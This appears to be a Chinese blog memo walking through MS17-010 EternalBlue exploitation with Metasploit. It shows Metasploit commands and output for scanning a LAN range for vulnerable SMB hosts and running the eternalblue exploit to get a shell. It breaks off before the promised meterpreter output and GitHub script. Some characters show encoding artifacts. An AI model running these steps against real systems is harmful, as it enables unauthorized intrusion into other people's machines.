該漏洞的影響版本很廣泛：Microsoft Windows Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'EternalBlue' SMB Remote Code Execution (MS17-010)

具體請查看公告：Microsoft 安全公告 MS17-010 - 嚴重

下面簡單記錄局域網(wǎng)內(nèi)，漏洞的利用過程，以備忘。

1、更新Metasploit

Metasploit里已經(jīng)集成了該漏洞利用腳本，可能使用之前需要更新一下。

root@kali:~# apt update; apt install metasploit-framework

2、查找smb_ms17_010腳本位置

msf > search ms17-010 [!] Module database cache not built yet, using slow searchMatching Modules ================Name Disclosure Date Rank Description---- --------------- ---- -----------auxiliary/scanner/smb/smb_ms17_010 normal MS17-010 SMB RCE Detectionexploit/windows/smb/ms17_010_eternalblue 2017-03-14 average MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption

3、掃描檢測

msf > use auxiliary/scanner/smb/smb_ms17_010 msf auxiliary(smb_ms17_010) > show optionsModule options (auxiliary/scanner/smb/smb_ms17_010):Name Current Setting Required Description---- --------------- -------- -----------RHOSTS yes The target address range or CIDR identifierRPORT 445 yes The SMB service port (TCP)SMBDomain . no The Windows domain to use for authenticationSMBPass no The password for the specified usernameSMBUser no The username to authenticate asTHREADS 1 yes The number of concurrent threadsmsf auxiliary(smb_ms17_010) > set rhosts 192.168.1.1-254 rhosts => 192.168.1.1-254 msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.15:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1) [+] 192.168.1.16:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1)

后面的就不再展示了，上面的話還可以設(shè)置掃描線程數(shù)THREADS， 以加快掃描速度。

除了上面可以檢測網(wǎng)段之外，也可以針對單個ip進行檢測。以192.168.1.16:445為例：

msf auxiliary(smb_ms17_010) > set rhosts 192.168.1.16 rhosts => 192.168.1.16 msf auxiliary(smb_ms17_010) > exploit[+] 192.168.1.16:445 - Host is likely VULNERABLE to MS17-010! (Windows 7 Professional 7601 Service Pack 1) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

4、漏洞利用getshell

從上面我們已經(jīng)找到存在MS17-010漏洞的局域網(wǎng)主機192.168.1.16， 下面可以開始利用了。

msf auxiliary(smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue msf exploit(ms17_010_eternalblue) > show optionsModule options (exploit/windows/smb/ms17_010_eternalblue):Name Current Setting Required Description---- --------------- -------- -----------GroomAllocations 12 yes Initial number of times to groom the kernel pool.GroomDelta 5 yes The amount to increase the groom count by per try.MaxExploitAttempts 3 yes The number of times to retry the exploit.ProcessName spoolsv.exe yes Process to inject payload into.RHOST yes The target addressRPORT 445 yes The target port (TCP)SMBDomain . no (Optional) The Windows domain to use for authenticationSMBPass no (Optional) The password for the specified usernameSMBUser no (Optional) The username to authenticate asVerifyArch true yes Check if remote architecture matches exploit Target.VerifyTarget true yes Check if remote OS matches exploit Target.Exploit target:Id Name-- ----0 Windows 7 and Server 2008 R2 (x64) All Service Packsmsf exploit(ms17_010_eternalblue) > set rhost 192.168.1.16　　　　【靶機】 rhost => 192.168.1.16 msf exploit(ms17_010_eternalblue) > exploit

?本地攻擊機的ip是192.168.1.115

?

5、漏洞利用meterpreter

這里就直接給出利用過程了：

從上面可以看到我們已經(jīng)拿到一個meterpreter ...?

另外附上github上找到的一個腳本，可以很方便的改成一個批量腳本：
